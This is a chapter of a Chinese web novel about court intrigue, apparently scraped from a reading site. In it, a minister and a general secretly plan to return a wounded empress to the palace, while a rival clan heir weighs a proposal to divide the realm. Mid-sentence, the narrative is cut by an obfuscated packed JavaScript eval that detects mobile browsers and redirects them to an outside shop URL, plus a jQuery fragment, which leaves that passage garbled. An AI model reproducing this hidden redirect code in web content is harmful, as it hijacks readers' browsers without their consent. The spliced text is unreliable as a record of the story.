82. 第十三章 蓄势待发

作品:《将军是我未亡人

    金陵城。


    临溪茶馆。


    齐韶坐在二楼临窗雅室之中,看着窗外的天光一点一点黯淡下去,他的心也一点一点地沉了下去。


    松木长几上设着香茶、干果、蜜饯等吃食,他却一口都没有动过。


    明天就是三日之期的最后一天,如果他还是没法找到皇帝,局面将急转直下。他心中还有另外一层隐忧,宋海晏带走皇帝,却迟迟没有来找他,要么皇帝受伤严重,宋海晏只能守着她,无法离开;要么,宋海晏也受了伤,甚至无法行动。不管是哪一种情况,都意味着事态失控,凭他一人之力,已难以挽回金陵大局。


    最后一抹残阳没入远处朱雀门楼的薄雪之下,暮色如墨般泼洒开来,朱雀大街上行人渐稀,只剩下巡夜军士的梆子声遥遥传来。齐韶起身下楼。


    若明日注定会死,今夜他还需了却最后一桩心事。太皇太后年事已高,纵有心护持,百年之后也难保全阿桑性命。他既无力再庇佑这孩子,便只能送还给他的母亲,为他们母子安排好往后生路。阿桑是陛下的亲侄,更是大楚皇室正统,这是他能为她、为大楚朝廷做的最后一件事了。


    齐韶登上马车,对车夫道:“回府。”


    马车启动。


    忽地,身后有人用匕首抵住他的后背,一道低哑的声音在耳边响起:“从北门出城。”


    齐韶心中一凛,扬声对车夫道:“从北门出城。”


    车夫诧异回头。齐韶从来谋定后动,临时改道的事从未有过。


    那道低哑的声音又道:“城北广善寺。”


    齐韶从善如流,对车夫道:“我临时有事,要去城北广善寺一趟。”


    马车辘辘,向金陵北门驶去。如今大战将起,金陵四道城门早已关闭,不允许任何人出入,而齐韶自然是极少数的例外。到了城门口,车夫表明身份之后,金陵城门开了一道小口子,齐韶马车通行之后,城门随即闭合。


    过了太平桥,已至金陵郊外,只见一片薄雪覆盖的田野,荒无人烟。一勾上弦月悬在远方树梢上,四下里万籁俱寂,唯有呼呼风声。


    身后那人迟迟不说话,齐韶终于按捺不住,压低声音道:“宋将军,陛下安否?”


    宋海晏似乎有些吃惊,反问道:“你怎么知道是我带走陛下?”


    齐韶道:“宋将军,这里已是城外,车上也只有我和车夫两人。就算你不相信我,我对你也构不成威胁,宋将军能不能将匕首放下再说话?”


    宋海晏将那柄抵住齐韶后背的匕首收入鞘中,身体一跃,在齐韶对面的位置坐下。


    齐韶从马车内的隔层取出一只狭长的盒子,他将盒子打开,只见里面整整齐齐摆放着七支镔铁箭。


    他将匣子双手奉上,“这是初一那晚,我在鸡笼山的树林中拾到的,一共七支。现在遇到宋将军,终于可以物归原主。”


    宋海晏看着箭簇上的花纹,心中明悟。那日他在林中与屠越对射,恰好用去七支箭。庐江宋氏的弓箭向来与众不同,齐韶正是由此断定是他射杀屠越,带走了陛下。


    他深吸一口气,暗忖自己行事太过疏忽。宋家弓箭与别家不同,见到屠越尸身的人,只要稍加留意,便能查到他头上。


    齐韶似乎猜到他心中所想,轻声道:“宋将军放心,那天晚上我是第一个见到屠越尸体的人,林中箭支都被我捡走。根据南方传来的消息,宋将军一直与大军在一起。齐栋起兵之前,中书省每日都收到庐江军的战报,上面的字迹和宋将军你一模一样。换言之,除了我之外,没有人知道宋将军你在金陵……至少眼下如此……”


    宋海晏将弓箭插回腰间箭囊中,看向对坐的人,“你为什么要帮我?”


    马车之中,是长时间的静默。


    “陛下曾对我说过,你是她可以相信的人……帮助你就是帮助陛下。”齐韶开口,声音平稳得似乎不含任何情绪:“只要是对陛下有利的事情,无论代价几何,我……都不吝于去做……”


    马车飞快驰过金陵郊外的原野。车厢里再次陷入了长久的、令人窒息的沉默,只有车轮碾过路面的声音附和着呼啸的风声。


    宋海晏隐隐生出一种被对方比了下去的落败感。


    前日,阿幸对他说,齐韶是她可以信任的人时候,他心中便有些不是滋味。尽管他不愿意承认,但他十分清楚,那种感觉就是妒忌。


    ——他妒忌她此刻信任的是旁人,因此对齐韶心怀敌意。他想,齐氏檄文中说,齐韶是北魏细作,“蛊惑君上,操弄朝纲”,“操弄朝纲”尚不至于,“蛊惑君上”则不能说完全没有。


    现在他知道了,她对齐韶也同样表达过对他的信任,可齐韶远比他襟怀磊落、坦荡无私,全无他心中那些阴暗念头。


    他越发不自在,一时不知该说些什么,只得转回最初的问题:“她中了屠越的毒箭,虽无性命之忧,却尚未大好。此刻正藏在齐椽的私园。”


    齐韶的表情一瞬间凝固:“齐椽私园?”齐椽确有一座私园位于鸡笼山西南,但是他绝不会想到宋海晏敢带着皇帝藏到齐椽的地盘上,难怪他一直找不到人。


    “放心,你想不到的事,齐椽也想不到,那个地方十分安全。”


    宋海晏望向窗外,前方已离广善寺不远,他出来得久了,须得尽快回去,他压下心中浮躁,低声道:“眼下局势,不必多言。陛下需尽早回宫,以安朝局人心,我已做下安排,明日带她往广善寺进香。余下之事便交托给你。之后,我便回返南方,率庐江军来援。依你看,金陵城防能支撑几日?”


    齐韶沉声道:“无论如何,我定能守到宋家大军抵达之日。”


    宋海晏又道:“还有一事需提醒你,澹台氏已与齐阀暗通款曲,澹台焕断不可再用了。”


    齐韶闻言一惊。他没有问宋海宴如何知情,只点头道:“此事我会处置。”


    ……


    两人尽管年轻,都算得上位高权重、久经世事。纵然此前并不熟稔,此刻也称得上互相信任,议事起来倒也利落,短短一截路程,事情已商议得七七八八。


    经过一片树林时,宋海宴推开车窗,一跃而下,如同一只敏捷的豹,消失在夜色之中。


    马车停在广善寺门口,车夫拉开帘子,问道:“大人,天色已晚,广善寺山门已经关了,可要属下去叫门?”


    齐韶长长吁了一口气,“不,不用去寺里了。立刻掉头,回宫——”


    ***


    雪月交辉,齐椽立于暗营箭楼最高处,向南远眺金陵城郭。


    连日少眠,他的双眼布满血丝,眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817956|180124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    周满是青灰色的阴影。他不敢休息,在心中反复推算着近日局势和一切可能发生的变化。


    金陵城门关闭,不过齐家有一条隐蔽的通道可以出入城中,及时带来城中的消息。虽然司徒府被围,禁止出入,但太皇太后似乎没有杀人的打算。这便意味着,纵使齐氏举兵,永寿宫那头仍存着妥协的余地。


    此事最大的变数,终究还在宋家。庐江宋氏如今已是大楚王朝中举足轻重的力量,澹台恭断难抵挡宋海晏太久,南方那支大军,迟早是齐氏必须直面的劲敌。


    他不免再次惋惜,为什么七年之前,宋海晏那么走运,没有死在洛阳城下呢?


    夜空中传来鸽哨之音,两只鸽子一南一北,先后到达了位于安营西北的鸽驿之中。不多时,楼梯响起脚步声,齐顺拾级而上,躬身禀道:“二公子,刚收到两则要紧讯报。”


    “讲。”


    “是。”齐顺深吸口气,压低了声线,“北扬州传回消息,宋陆丰和陆思明分别从水路和陆路夹击扬州城,扬州城已经失守。”


    “竟如此之快?”齐椽眉峰一蹙,难掩惊愕。先前他与父亲论及北扬州局势,早已料到与宋家动起手来,此地必难保全,却没承想对方竟来得这般迅猛。


    “还有另外一条消息。齐沐春从吴兴传回消息,宋海晏已经占领吴兴城,让他传话,称欲请公子到吴兴一趟,面谈机宜。”齐顺呈上一张短笺,“此乃宋海晏亲笔,随信附上,请公子过目。”


    齐椽接过短笺,看到上面的字迹铁画银钩,力透纸背:“君取江南,我取江北,划江而治,两不相干,可乎?”


    纸页薄如蝉翼,握在手中却似有千斤之重。齐椽盯着那行字,眸色沉沉,心中翻江涌浪。


    他万没有想到宋家在此关头,竟会抛出“划江而治”的提议。


    平心而论,这对眼下的齐氏并非不可接受。若宋家真能坐视金陵战事,不横加干涉,齐阀早晚能拿下金陵,改朝换代。纵使失了江北扬州,放眼整个江南沃土,区区北扬州又算得了什么?


    最大的疑虑是,宋海晏这番话,有几分是真?


    宋海晏骁勇善战,杀人无数,自非良善之辈。如今占据江北诸地,野心昭然,分明是一时枭雄。其人对大楚朝廷本来也没有几分忠诚,自八月入金陵以来,飞扬跋扈,对皇帝也不甚恭敬。九月,皇帝想将沅陵郡主赐婚给他,也为他拒绝。


    设身处地想想,若他是宋海晏,若无意与大楚共存亡,面对眼前局面会如何做?


    仔细推演之后,齐椽得出了结论,他会做出和宋海晏一样的选择。齐氏举兵,对于同样野心勃勃的宋海晏而言,正是天赐良机。此刻齐氏主力困于金陵,无力北顾,恰是宋家割据江北,脱离大楚、自立门户的最好时机。


    这对如今的齐家而言,也是一件利大于弊的事。


    他吩咐道:“备马,我即刻出发,前往宜兴——”


    齐顺微微一惊:“二公子,如今正在紧要时候,您怎么能离开金陵?”


    “不,这个时候,宋海晏比永寿宫的老太后重要太多了,和宋家达成协议才是最重要的事。”齐椽声音急促:“最多两日,齐栋就会率军到达金陵城下。在我回来之前,金陵一切事务,请他暂理。”


    齐顺抱拳道:“是。”